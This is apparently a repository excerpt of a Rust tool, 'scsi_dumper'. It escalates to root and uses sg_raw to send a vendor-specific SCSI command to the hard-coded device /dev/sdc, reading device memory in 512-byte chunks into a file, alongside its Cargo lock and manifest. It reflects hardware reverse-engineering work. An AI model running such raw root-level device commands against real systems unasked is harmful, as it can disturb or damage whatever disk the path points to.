dependencies = [ 23 | "libc", 24 | "windows-sys 0.52.0", 25 | ] 26 | 27 | [[package]] 28 | name = "hermit-abi" 29 | version = "0.3.3" 30 | source = "registry+https://github.com/rust-lang/crates.io-index" 31 | checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" 32 | 33 | [[package]] 34 | name = "io-lifetimes" 35 | version = "1.0.11" 36 | source = "registry+https://github.com/rust-lang/crates.io-index" 37 | checksum = "eae7b9aee968036d54dce06cebaefd919e4472e753296daccd6d344e3e2df0c2" 38 | dependencies = [ 39 | "hermit-abi", 40 | "libc", 41 | "windows-sys 0.48.0", 42 | ] 43 | 44 | [[package]] 45 | name = "itoa" 46 | version = "1.0.10" 47 | source = "registry+https://github.com/rust-lang/crates.io-index" 48 | checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" 49 | 50 | [[package]] 51 | name = "libc" 52 | version = "0.2.151" 53 | source = "registry+https://github.com/rust-lang/crates.io-index" 54 | checksum = "302d7ab3130588088d277783b1e2d2e10c9e9e4a16dd9050e6ec93fb3e7048f4" 55 | 56 | [[package]] 57 | name = "linux-raw-sys" 58 | version = "0.3.8" 59 | source = "registry+https://github.com/rust-lang/crates.io-index" 60 | checksum = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519" 61 | 62 | [[package]] 63 | name = "log" 64 | version = "0.4.20" 65 | source = "registry+https://github.com/rust-lang/crates.io-index" 66 | checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" 67 | 68 | [[package]] 69 | name = "num-format" 70 | version = "0.4.4" 71 | source = "registry+https://github.com/rust-lang/crates.io-index" 72 | checksum = "a652d9771a63711fd3c3deb670acfbe5c30a4072e664d7a3bf5a9e1056ac72c3" 73 | dependencies = [ 74 | "arrayvec", 75 | "itoa", 76 | ] 77 | 78 | [[package]] 79 | name = "progression" 80 | version = "0.1.15" 81 | source = "registry+https://github.com/rust-lang/crates.io-index" 82 | checksum = "e8db022de378ef58d1e90544bdf1a161367585029863116467d9f30e3b170883" 83 | dependencies = [ 84 | "num-format", 85 | "terminal_size", 86 | ] 87 | 88 | [[package]] 89 | name = "rustix" 90 | version = "0.37.27" 91 | source = "registry+https://github.com/rust-lang/crates.io-index" 92 | checksum = "fea8ca367a3a01fe35e6943c400addf443c0f57670e6ec51196f71a4b8762dd2" 93 | dependencies = [ 94 | "bitflags", 95 | "errno", 96 | "io-lifetimes", 97 | "libc", 98 | "linux-raw-sys", 99 | "windows-sys 0.48.0", 100 | ] 101 | 102 | [[package]] 103 | name = "scsi_dumper" 104 | version = "0.1.0" 105 | dependencies = [ 106 | "progression", 107 | "sudo", 108 | ] 109 | 110 | [[package]] 111 | name = "sudo" 112 | version = "0.6.0" 113 | source = "registry+https://github.com/rust-lang/crates.io-index" 114 | checksum = "88bd84d4c082e18e37fef52c0088e4407dabcef19d23a607fb4b5ee03b7d5b83" 115 | dependencies = [ 116 | "libc", 117 | "log", 118 | ] 119 | 120 | [[package]] 121 | name = "terminal_size" 122 | version = "0.2.6" 123 | source = "registry+https://github.com/rust-lang/crates.io-index" 124 | checksum = "8e6bf6f19e9f8ed8d4048dc22981458ebcf406d67e94cd422e5ecd73d63b3237" 125 | dependencies = [ 126 | "rustix", 127 | "windows-sys 0.48.0", 128 | ] 129 | 130 | [[package]] 131 | name = "windows-sys" 132 | version = "0.48.0" 133 | source = "registry+https://github.com/rust-lang/crates.io-index" 134 | checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" 135 | dependencies = [ 136 | "windows-targets 0.48.5", 137 | ] 138 | 139 | [[package]] 140 | name = "windows-sys" 141 | version = "0.52.0" 142 | source = "registry+https://github.com/rust-lang/crates.io-index" 143 | checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" 144 | dependencies = [ 145 | "windows-targets 0.52.0", 146 | ] 147 | 148 | [[package]] 149 | name = "windows-targets" 150 | version = "0.48.5" 151 | source = "registry+https://github.com/rust-lang/crates.io-index" 152 | checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" 153 | dependencies = [ 154 | "windows_aarch64_gnullvm 0.48.5", 155 | "windows_aarch64_msvc 0.48.5", 156 | "windows_i686_gnu 0.48.5", 157 | "windows_i686_msvc 0.48.5", 158 | "windows_x86_64_gnu 0.48.5", 159 | "windows_x86_64_gnullvm 0.48.5", 160 | "windows_x86_64_msvc 0.48.5", 161 | ] 162 | 163 | [[package]] 164 | name = "windows-targets" 165 | version = "0.52.0" 166 | source = "registry+https://github.com/rust-lang/crates.io-index" 167 | checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" 168 | dependencies = [ 169 | "windows_aarch64_gnullvm 0.52.0", 170 | "windows_aarch64_msvc 0.52.0", 171 | "windows_i686_gnu 0.52.0", 172 | "windows_i686_msvc 0.52.0", 173 | "windows_x86_64_gnu 0.52.0", 174 | "windows_x86_64_gnullvm 0.52.0", 175 | "windows_x86_64_msvc 0.52.0", 176 | ] 177 | 178 | [[package]] 179 | name = "windows_aarch64_gnullvm" 180 | version = "0.48.5" 181 | source = "registry+https://github.com/rust-lang/crates.io-index" 182 | checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" 183 | 184 | [[package]] 185 | name = "windows_aarch64_gnullvm" 186 | version = "0.52.0" 187 | source = "registry+https://github.com/rust-lang/crates.io-index" 188 | checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" 189 | 190 | [[package]] 191 | name = "windows_aarch64_msvc" 192 | version = "0.48.5" 193 | source = "registry+https://github.com/rust-lang/crates.io-index" 194 | checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" 195 | 196 | [[package]] 197 | name = "windows_aarch64_msvc" 198 | version = "0.52.0" 199 | source = "registry+https://github.com/rust-lang/crates.io-index" 200 | checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" 201 | 202 | [[package]] 203 | name = "windows_i686_gnu" 204 | version = "0.48.5" 205 | source = "registry+https://github.com/rust-lang/crates.io-index" 206 | checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" 207 | 208 | [[package]] 209 | name = "windows_i686_gnu" 210 | version = "0.52.0" 211 | source = "registry+https://github.com/rust-lang/crates.io-index" 212 | checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" 213 | 214 | [[package]] 215 | name = "windows_i686_msvc" 216 | version = "0.48.5" 217 | source = "registry+https://github.com/rust-lang/crates.io-index" 218 | checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" 219 | 220 | [[package]] 221 | name = "windows_i686_msvc" 222 | version = "0.52.0" 223 | source = "registry+https://github.com/rust-lang/crates.io-index" 224 | checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" 225 | 226 | [[package]] 227 | name = "windows_x86_64_gnu" 228 | version = "0.48.5" 229 | source = "registry+https://github.com/rust-lang/crates.io-index" 230 | checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" 231 | 232 | [[package]] 233 | name = "windows_x86_64_gnu" 234 | version = "0.52.0" 235 | source = "registry+https://github.com/rust-lang/crates.io-index" 236 | checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" 237 | 238 | [[package]] 239 | name = "windows_x86_64_gnullvm" 240 | version = "0.48.5" 241 | source = "registry+https://github.com/rust-lang/crates.io-index" 242 | checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" 243 | 244 | [[package]] 245 | name = "windows_x86_64_gnullvm" 246 | version = "0.52.0" 247 | source = "registry+https://github.com/rust-lang/crates.io-index" 248 | checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" 249 | 250 | [[package]] 251 | name = "windows_x86_64_msvc" 252 | version = "0.48.5" 253 | source = "registry+https://github.com/rust-lang/crates.io-index" 254 | checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" 255 | 256 | [[package]] 257 | name = "windows_x86_64_msvc" 258 | version = "0.52.0" 259 | source = "registry+https://github.com/rust-lang/crates.io-index" 260 | checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" 261 | -------------------------------------------------------------------------------- /tools/scsi_dumper/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "scsi_dumper" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | progression = "0.1.15" 10 | sudo = "0.6.0" -------------------------------------------------------------------------------- /tools/scsi_dumper/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::env::args; 2 | use std::error::Error; 3 | use std::time::Duration; 4 | 5 | use std::process::Command; 6 | use std::process::Stdio; 7 | 8 | fn main() -> Result<(), Box> { 9 | sudo::escalate_if_needed()?; 10 | 11 | if args().len() != 4 { 12 | println!("cargo r --release -- "); 13 | return Ok(()); 14 | } 15 | 16 | let start = u32::from_str_radix(&args().nth(1).unwrap()[2..], 16)?; 17 | let size = u32::from_str_radix(&args().nth(2).unwrap()[2..], 16)?; 18 | let out_file = args().nth(3).unwrap(); 19 | 20 | const CHUNK_SIZE: u32 = 512; 21 | let mut full_read = Vec::new(); 22 | 23 | let mut addr: u32 = start; 24 | for _ in progression::bar(0..(size / CHUNK_SIZE)) { 25 | //println!("Reading {addr:08x}={:08x}, prog", addr+0x200); 26 | let b: [u8; 4] = addr.to_be_bytes(); 27 | 28 | Command::new("sg_raw") 29 | .stdout(Stdio::null()) 30 | .stderr(Stdio::null()) 31 | .arg("-o") 32 | .arg("out.bin") 33 | .arg("-r") 34 | .arg(&format!("{CHUNK_SIZE}")) 35 | .arg("-v") 36 | .arg("/dev/sdc") 37 | .arg("c6") 38 | .arg("96") 39 | .arg("02") 40 | .arg(&format!("{:02x}", b[0])) 41 | .arg(&format!("{:02x}", b[1])) 42 | .arg(&format!("{:02x}", b[2])) 43 | .arg(&format!("{:02x}", b[3])) 44 | .status() 45 | .unwrap(); 46 | 47 | let chunk = std::fs::read("./out.bin").unwrap(); 48 | full_read.extend_from_slice(&chunk); 49 | 50 | addr += 0x200; 51 | std::fs::write(&out_file, &full_read).unwrap(); 52 | 53 | std::thread::sleep(Duration::from_millis(1)); 54 | } 55 | 56 | Ok(()) 57 | } 58 | --------------------------------------------------------------------------------